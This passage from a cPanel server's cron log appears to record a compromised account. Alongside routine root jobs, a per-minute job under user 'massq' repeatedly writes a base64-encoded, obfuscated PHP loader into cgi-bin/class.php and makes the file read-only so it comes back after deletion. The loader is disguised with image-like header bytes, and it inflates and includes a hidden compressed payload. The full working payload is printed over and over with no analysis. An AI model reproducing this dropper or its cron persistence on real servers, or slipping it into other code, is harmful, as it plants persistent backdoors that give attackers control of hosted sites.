"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:08:02 server CROND[15571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:09:01 server CROND[15643]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 06:09:01 server CROND[15644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:10:01 server CROND[15703]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 06:10:01 server CROND[15704]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 06:10:01 server CROND[15705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:10:01 server CROND[15706]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 06:11:01 server CROND[15964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:12:01 server CROND[16055]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 06:12:01 server CROND[16056]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:13:01 server CROND[16110]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:14:01 server CROND[16180]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:15:01 server CROND[16269]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Apr  8 06:15:01 server CROND[16270]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 06:15:01 server CROND[16271]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  8 06:15:01 server CROND[16273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:15:01 server CROND[16274]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 06:16:01 server CROND[16521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:17:01 server CROND[16556]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:18:01 server CROND[16599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:19:01 server CROND[16669]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 06:20:01 server CROND[16750]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 06:20:01 server CROND[16753]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 06:20:01 server CROND[16752]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 06:20:01 server CROND[16755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1